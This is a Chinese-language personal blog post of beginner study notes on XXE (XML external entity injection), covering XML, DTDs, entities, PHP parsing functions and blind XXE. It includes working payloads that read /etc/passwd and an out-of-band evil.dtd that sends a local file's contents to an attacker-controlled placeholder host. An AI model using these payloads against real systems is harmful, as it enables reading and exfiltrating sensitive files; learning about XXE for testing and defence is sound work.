xxe攻击(1)

菜鸡脑容量有限,学完删

XXE全称balabala,即xml外部实体注入

为此首先需要了解xml,在w3school学习后做了些笔记以备忘

其次需要学习php伪协议、php解析xml的一些功能函数

还有

xml

很像html,用于标记文件,使其具有结构性,是标记性语言(类似ppt….个p)
但xml是为了传输、存储数据,而8是显示数据

xml不做任何事情,也就是纯文本,用来存储、传输信息,类似json

xml结构

eg:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明,这个是可选的-->
<bookstore> <!--根元素-->
<book category="COOKING"> <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title> <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author> <!--book的子元素-->
<year>2005</year> <!--book的子元素-->
<price>30.00</price> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->

总结:xml有根元素属性,即必须包含根元素,每个元素阔以有value和属性

DTD

定义xml文档的格式规范

1
2
3
4
5
6
7
<?xml version="1.0"?> <!--这行是 XML文档定义-->
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>

上述格式是固定的,然后PCDATA和CDATA代指传入的文本,PCDATA文本里的标签会被解析,而CDATA则8会

可分为内部DTD和外部DTD

内部DTD

内部DTD就是xml文档和DTD写在一块,eg:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

外部DTD

外部则是引用外部文件,通过如下语法引入:

1
<!DOCTYPE root-element SYSTEM "filename">

DTD属性
eg:
DTD:

1
<!ATTLIST payment Luckey CDATA "Q">    <!--payment可在之前被定义过,也可未定义,默认属性: Q-->

XML实例:

1
<payment Luckey="Q" />   <!--name: payment; 属性: Lucky -->

DTD实体

大致阔以当变量理解,由name和value组成,有通用实体和参数实体之分,也有内部实体和外部实体之分

通用实体和参数实体

通用实体: 用 &实体名; 来引用实体,就是在DTD中定义的普通实体,这个实体在xml文档中被引用
参数实体: 用 % 实体名 (注意%后的空格)来在DTD内定义实体,而这个实体只能在DTD内引用(通用实体则能在xml文档里引用),引用则是通过 % 实体名; 实现(注意’;’)
(参数实体也阔以引用外部实体,它在blindxxe里很有用)

声明方法:

1
<!ENTITY name "value">

引用方法:
引用通用实体:

1
&name;

声明参数实体:

1
<!ATTLIST % payment Lucky CDATA "Q">   <!--用% name来声明-->

引用参数实体:

1
% name;  <!--注意%后的空格-->

内部实体和外部实体

内部实体:

1
<!ENTITY name "value">

eg:

1
2
3
4
5
6
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY writer "Dawn">
<!ENTITY c0pyright "Copyright W3School.com.cn">
]>
<test>&writer;&c0pyright;</test>

外部实体: 用来引入外部资源。有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机
且外部实体支持http、file等协议

1
<!ENTITY 实体名称 SYSTEM "URI/URL">

Or:

1
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

外部实体示例代码:

1
2
3
4
5
6
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY c0pyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&file;&c0pyright;</author>

tips
实体引用
在xml里,如果把’<’’>’之类的字符直接放进去,会被解析,然后出现错误,为此要用实体引用来代替(类似转义)

< < 小于

大于
& & 和号
' ‘ 单引号
“ “ 引号

eg:

1
<message>100&lt1000</message>

php解析xml的函数
DOMDocument()
PHP5中提供了DOMDocument类对XML的解析

simplexml_import_dom()

simplexml_import_dom($dom)获取XML文档节点,如果成功则返回SimpleXMLElement对象

libxml_disable_entity_loader(false); #- 禁用加载外部实体的功能,默认为True,所以学xxe真的能用得上吗(萌新日常怀疑)

simple_xml_load_string(): 转换形式良好的 XML 字符串为 SimpleXMLElement 对象,然后输出对象的键和元素

XXE盲注

在刷了一些比较简单的题后,开始进入盲注,先学习下姿势的原理(看bw大佬的文章)
首先需要了解1个报错

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///xxx.txt">
<!ENTITY % end "]]>">
<!ENTITY all "%start;%goodies;%end;">
]>
<roottag>&all;</roottag>

这样做会报错,原因是我也没看懂…..总之需要在外部实体拼接后再在DTD中调用,也就是下面的做法,引用外部服务器里的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///xxx.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd;
]>
<roottag>&all;</roottag>

<!--evil.dtd-->
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">

无回显:

1
2
3
4
5
6
7
8
9
<!--evil.dtd-->
<!ENTITY % file SYSTEM "file:///xxx.txt"> <!--xxx.txt为敏感文件-->
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip?p=%file;'>"> <!--此处的&#37;为转义的%-->

<!--payload-->
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/evil.dtd">
%remote;%int;%send;
]>

如上,先引用remote,于是引用了evil.dtd,就相当于将evil.dtd里的内容拼接到payload里
然后再引用int,int声明了send,再引用了send,send就执行了 []http://ip=%file;[]的操作,将file.txt发送到你的服务器,解决了xxe无回显的问题,tttttttttttttqqqqqqllllllllllllll

3.22 那么问题来了,就是我还没个服务器….
有台旧电脑,明天坐教室后排好好整整,八字还没一撇……


xxe攻击(1)
https://bl4zygao.github.io/2022/02/10/xxe攻击(1)/
Author
bl4zy
Posted on
February 10, 2022
Licensed under